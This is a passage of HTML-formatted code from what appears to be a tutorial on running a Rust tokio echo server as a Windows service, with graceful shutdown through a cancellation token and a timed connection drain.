&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// You may want to make return an error code
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// depending on run_app success
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="sample-app"&gt;Sample app&lt;/h2&gt;
&lt;p&gt;As stated in the beginning, our sample application is a simple echo server. We&amp;rsquo;re binding to TCP port 5000, listen for connections and handle them by spawning a new task.&lt;/p&gt;
&lt;p&gt;In our main loop which accepts new connections, we&amp;rsquo;re also checking if the cancellation token has been, well, cancelled. And if so, we break out of our connection acceptance loop and go into the connection draining phase to attempt a close of the connections.&lt;/p&gt;
&lt;p&gt;We check if we have any remaining active connections, and if so set a 10 second timer while joining the connection tasks one by one. Once all connections have closed or our timer runs out, we break out of the drain loop.&lt;/p&gt;
&lt;p&gt;To make this possible, we also have to pass the cancellation token to our connection handling code which will continuously check the token and read from TCP stream until either resolves (shown in next section).&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s how this looks in code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;run_app&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;: &lt;span class="nc"&gt;CancellationToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Box&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;dyn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TcpListener&lt;/span&gt;::&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;127.0.0.1:5000&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Listening on 127.0.0.1:5000...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Track all spawned connection tasks so we can wait for them to drain
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// on shutdown.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;task&lt;/span&gt;::&lt;span class="n"&gt;JoinSet&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Accept connections until token gets cancelled
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="fm"&gt;select!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cancelled&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Accept loop: cancellation received, stopping...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;New connection from &lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn_token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;child_token&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle_connection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn_token&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Error accepting new connection: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Token got cancelled and we stopped accepting new connections. Now give
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// existing ones some time to finish. After the timeout, connections will
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// just be dropped/tasks cancelled.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Waiting for &lt;/span&gt;&lt;span class="si"&gt;{active}&lt;/span&gt;&lt;span class="s"&gt; connections to close&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// you may want to capture/log panics here
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join_next&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_some&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;time&lt;/span&gt;::&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;time&lt;/span&gt;::&lt;span class="n"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;from_secs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_err&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Time out waiting for connections to close, forcing &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; shutdown&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Server shut down.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="handling-stream-data-while-checking-token"&gt;Handling stream data while checking token&lt;/h2&gt;
&lt;p&gt;Finally, this is how we handle the token checking in &lt;code&gt;handle_connection&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;Either branch of the &lt;code&gt;select!&lt;/code&gt; can lead to breaking out of the loop. It polls both branch futures simultaneously and when one resolves, the other is dropped (dropping the &lt;code&gt;read&lt;/code&gt; in its pending state is OK when we want to shutdown our server).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;handle_connection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;: &lt;span class="nc"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;net&lt;/span&gt;::&lt;span class="n"&gt;TcpStream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;: &lt;span class="nc"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;net&lt;/span&gt;::&lt;span class="n"&gt;SocketAddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;: &lt;span class="nc"&gt;CancellationToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
